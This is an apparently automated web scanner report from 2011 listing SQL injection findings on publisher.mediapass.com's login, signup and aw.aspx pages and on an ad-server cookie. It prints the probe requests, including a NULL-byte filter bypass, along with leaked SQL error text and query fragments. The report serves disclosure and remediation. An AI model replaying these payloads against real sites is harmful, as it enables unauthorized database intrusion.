User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycpL9gMpzEWtIBo8A
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.11.10.1300907296
Content-Length: 2670

------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJNjg4NzczOTA2D2QWAmYPZBYCAgUPZBYCAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWBgIFDw8WBB4EVGV4
...[SNIP]...
ontentPlaceHolder2:pricingRepeater:_ctl2:price"

8
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingId"

2240'
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:btnUpdatePricing"

Update Prices and Subscription Periods
------WebKitFormBoundarycpL9gMp
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:46:18 GMT

Unclosed quotation mark after the character string ''.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http
...[SNIP]...

1.12. http://publisher.mediapass.com/Affiliate/SignUpStep3.aspx [ASP.NET_SessionId cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep3.aspx

Issue detail

The ASP.NET_SessionId cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the ASP.NET_SessionId cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /Affiliate/SignUpStep3.aspx HTTP/1.1
Host: publisher.mediapass.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: optiontabs=0; __utmz=152699238.1300912093.3.2.utmcsr=publisher.mediapass.com|utmccn=(referral)|utmcmd=referral|utmcct=/Affiliate/SignUpStep2.aspx; __utma=152699238.1375779235.1300485317.1300907296.1300912093.3; __utmc=152699238; __utmb=152699238.3.10.1300912093; ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3';

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 222
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=5xf34ufk4f0hol45akrjqovd; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:32:46 GMT
Connection: close

Procedure or function 'spafw_GetAssetInfoByAwId' expects parameter '@AwizId', which was not supplied.<p>EXEC MediaMogul.dbo.spafw_GetAssetInfoByAwid Thread was being aborted.<p>EXEC MediaMogul.dbo.spa
...[SNIP]...

1.13. http://publisher.mediapass.com/Affiliate/login.aspx [LoginName parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/login.aspx

Issue detail

The LoginName parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the LoginName parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

POST /Affiliate/login.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; optiontabs=0; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.16.10.1300907296
Content-Length: 401

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW5mLYuB1d8m4O1%2FK2UX5wWamkM0XQ%3D%3D&__EVENTVALIDATION=%2FwEWBQKTktmxCALM2PtaAqrXg84MAsqE5dYOArK44tQLS%2FD9oXRMLIoVU2QiQPE%2Frl01roE%3D&LoginName=h02332%40gmail.com%00'&LoginPassword=LL123456%21&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 452
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:41:18 GMT

Incorrect syntax near 'h02332@gmail.com'.
Unclosed quotation mark after the character string 'h02332@gmail.com'.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'h02332@gmail.c
...[SNIP]...

1.14. http://publisher.mediapass.com/Affiliate/login.aspx [LoginPassword parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/login.aspx

Issue detail

The LoginPassword parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the LoginPassword parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

POST /Affiliate/login.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; optiontabs=0; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.16.10.1300907296
Content-Length: 401

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW5mLYuB1d8m4O1%2FK2UX5wWamkM0XQ%3D%3D&__EVENTVALIDATION=%2FwEWBQKTktmxCALM2PtaAqrXg84MAsqE5dYOArK44tQLS%2FD9oXRMLIoVU2QiQPE%2Frl01roE%3D&LoginName=h02332%40gmail.com&LoginPassword=LL123456%21%00'&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 432
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:41:26 GMT

Incorrect syntax near 'LL123456!'.
Unclosed quotation mark after the character string 'LL123456!'.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'h02332@gmail.com' Or Email=N
...[SNIP]...

1.15. http://publisher.mediapass.com/aw.aspx [A parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://publisher.mediapass.com
Path:   /aw.aspx

Issue detail

The A parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the A parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /aw.aspx?B=1&A=641'&Task=Get&Advanced=True HTTP/1.1
Host: publisher.mediapass.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: optiontabs=0; __utmz=152699238.1300912093.3.2.utmcsr=publisher.mediapass.com|utmccn=(referral)|utmcmd=referral|utmcct=/Affiliate/SignUpStep2.aspx; __utma=152699238.1375779235.1300485317.1300907296.1300912093.3; __utmc=152699238; __utmb=152699238.3.10.1300912093; ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3;

Response 1

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 171
Content-Type: text/html; charset=utf-8
Location: /Affiliate/Error.aspx?aspxerrorpath=/aw.aspx
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:30:54 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fAffiliate%2fError.aspx%3faspxerrorpath%3d%2faw.aspx">here</a>.</h2>
</body></html>

Request 2

GET /aw.aspx?B=1&A=641''&Task=Get&Advanced=True HTTP/1.1
Host: publisher.mediapass.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: optiontabs=0; __utmz=152699238.1300912093.3.2.utmcsr=publisher.mediapass.com|utmccn=(referral)|utmcmd=referral|utmcct=/Affiliate/SignUpStep2.aspx; __utma=152699238.1375779235.1300485317.1300907296.1300912093.3; __utmc=152699238; __utmb=152699238.3.10.1300912093; ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3;

Response 2

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 129
Content-Type: text/html; charset=utf-8
Location: /blank.gif
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:30:56 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fblank.gif">here</a>.</h2>
</body></html>

1.16. http://redcated/APM/iview/147641056/direct [MUID cookie]  previous

Summary

Severity:   High
Confidence:   Tentative
Host:   http://redcated
Path:   /APM/iview/147641056/direct

Issue detail

The MUID cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the MUID cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /APM/iview/147641056/direct;wi.728;hi.90/01/?click= HTTP/1.1
Host: redcated
Proxy-Connection: keep-alive
Referer: http://cdn-bpx.a9.com/amzn/iframe.html?p=664;last=1150,1150;r=669599
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1297806090-11017856; ach00=9cc2/1c4e:66c2/39a1:12eae/37b3:9cc2/26d97:94dd/33f2; ach01=158f3cc/1c4e/2ac3a8d/9cc2/4d6263ca:b97d026/39a1/1101ce62/66c2/4d6d14c5:c1c6eec/37b3/1208a1ac/12eae/4d76973e:b9e6a5b/26d97/11cab02b/9cc2/4d7b6f5f:b16ac93/33f2/fdea494/94dd/4d80f470; MUID=FA3AE6176FAC4414AD6FC26C726B4B15'

Response 1

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: text/html
Expires: 0
Vary: Accept-Encoding
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:05:22 GMT
Connection: close
Content-Length: 4866

<!--#WIDTH=728 #HEIGHT=90 #CREATIVETYPEID=4 #DELIVERYMETHODID=2-->
<html>
<head>
<title>PA_DCW_CleanBeach_728x90_Iframe__DCW</title>
<meta HTTP-EQUIV="expires" CONTENT="0"></meta>
<meta HTTP-EQUI
...[SNIP]...
<SCR' + 'IPT LANGUAGE=VBScript\>');
document.writeln('on error resume next');
document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash." & nRequiredVersion)');
document.writeln('If IsObject(oFlashPlayer) Then');
document.writeln('bIsRig
...[SNIP]...

Request 2

GET /APM/iview/147641056/direct;wi.728;hi.90/01/?click= HTTP/1.1
Host: redcated
Proxy-Connection: keep-alive
Referer: http://cdn-bpx.a9.com/amzn/iframe.html?p=664;last=1150,1150;r=669599
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1297806090-11017856; ach00=9cc2/1c4e:66c2/39a1:12eae/37b3:9cc2/26d97:94dd/33f2; ach01=158f3cc/1c4e/2ac3a8d/9cc2/4d6263ca:b97d026/39a1/1101ce62/66c2/4d6d14c5:c1c6eec/37b3/1208a1ac/12eae/4d76973e:b9e6a5b/26d97/11cab02b/9cc2/4d7b6f5f:b16ac93/33f2/fdea494/94dd/4d80f470; MUID=FA3AE6176FAC4414AD6FC26C726B4B15''

Response 2

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: text/html
Expires: 0
Vary: Accept-Encoding
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:05:23 GMT
Connection: close
Content-Length: 1621

<SCRIPT Language="Javascript">
var DCcode="N5398.msn.comOX2567/B5308574.3;sz=728x90;";
var DCwidth="728";
var DCheight="90";
var randNum = Math.floor(Math.random() * 100000000) + 100000000;
var i
...[SNIP]...

Report generated by XSS.CX at Thu Mar 24 06:41:15 CDT 2011.